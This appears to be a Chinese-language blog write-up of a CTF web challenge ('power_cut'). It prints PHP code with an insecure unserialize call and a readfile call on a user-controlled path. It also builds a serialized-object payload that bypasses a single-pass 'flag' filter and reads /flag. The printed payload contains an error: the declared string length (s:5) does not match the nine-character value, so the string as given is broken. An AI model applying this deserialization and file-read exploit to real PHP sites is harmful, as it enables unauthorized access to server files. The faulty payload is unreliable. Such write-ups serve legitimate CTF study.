"津门杯"--WEB(power_cut)

vFREE
2021-05-18 / 0 评论 / 170 阅读 / 正在检测是否收录...
温馨提示:
本文最后更新于2021年12月08日,已超过291天没有更新,若内容或图片失效,请留言反馈。

1
最近在学习反序列化,然后最近也有一个"津门杯"的CTF比赛,我没有参加,看了前三名的战绩,真的是......MD太强了,然后看到其他大佬公布的writeup,发现有一道很简(kun)单(nan)的反序列化题目!!!就说web的"power_cut"
不说解题过程,直接就上代码

<?php

class logger{
    public $logFile;
    public $initMsg;
    public $exitMsg;

    function __construct($file){
        // initialise variables
        $this->initMsg="#--session started--#\n";
        $this->exitMsg="#--session end--#\n";
//通过构造函数__construct($file)传入文件,并且赋给$this->logfile,然后readfile读取传入的文件
//此处有任意文件读取的嫌疑
        $this->logFile =  $file;
        readfile($this->logFile);

    }

    function log($msg){
        $fd=fopen($this->logFile,"a+");
        fwrite($fd,$msg."\n");
        fclose($fd);
    }

    function __destruct(){
        echo "this is destruct";
    }
}

class weblog {
// 定义一个weblogfile的变量
    public $weblogfile;
    function __construct() {
    $flag="system('cat /flag')";
    echo "$flag";
    }

// 当外面使用了反序列化unserailze时,会优先调用__Wakeup
    function __wakeup(){
        // self::waf($this->filepath);

//此处是将实例化logger的类,其中logger类中有三个公开的函数,这里传入了一个weblogfile则意味着给logger中的public $logfile赋值了
//如果weblogfile是1,则public $logfile就等于1,以此类推
        $obj = new logger($this->weblogfile);
    }
    public function waf($str){
        $str=preg_replace("/[<>*#'|?\n ]/","",$str);
        $str=str_replace('flag','',$str);
        return $str;
    }
    function __destruct(){
        echo "this is destruct";
    }
}
$log = $_GET['log'];
$log = preg_replace("/[<>*#'|?\n ]/","",$log);
//没有多次匹配指定的字符串,双写直接绕过
$log = str_replace('flag','',$log);
$log_unser = unserialize($log);
?>
<html>
<head></head>
<body>
<p><br/>昨天晚上因为14级大风停电了.</p>
</body>
</html>

观察以上代码之后,发现了logger类中使用readfile,这里可以读取文件
直接构造

<?php
class weblog {
    public $weblogfile;
    function __construct() {
        $flag="system('cat /flag')";
        echo "$flag";
    }

    function __wakeup(){
        // self::waf($this->filepath);
        $obj = new logger($this->weblogfile);
    }

    public function waf($str){
        $str=preg_replace("/[<>*#'|?\n ]/","",$str);
        $str=str_replace('flag','',$str);
        return $str;
    }

    function __destruct(){
        echo "this is destruct";
    }}
$a=new weblog("/flflagag");
$a->weblogfile='/flflagag';
print(serialize($a));

解析:
实例化weblog的类,并且赋值给$a
然后给$a->$weblogfile赋值为/flflagag,此处为双写,主要是为了绕过$str=str_replace('flag','',$str);
最后序列化出来 :O:6:"weblog":1:{s:10:"weblogfile";s:5:"/flflagag";}
将这个通过log传入进去,url/?log=O:6:"weblog":1:{s:10:"weblogfile";s:5:"/flflagag";}
将会执行反序列化,反序列化的话,将会检查类中有没有__wakeup的魔术方法,有的话,将会先执行__wakeup的内容,也就是$obj = new logger($this->weblogfile);这个代码的意思就是实例化logger类,然后传入$this->weblogfile='/flflagag'

传入之后,logger的$logfile就等于/flflagag,然后继续执行构造函数__construct($file),其中的file就是等于$logger等于/flflagag,最后就执行文件读取readfile('/flflagag'),flag就出来了

好吧,这次总结地还是有一点点瑕疵,看了别人地writeup才审计出来的,害~这就是菜吧
2

注意:部分图片源自于网络,如有侵权,请联系删除!!!谢谢
最后...
3

0

评论 (0)

取消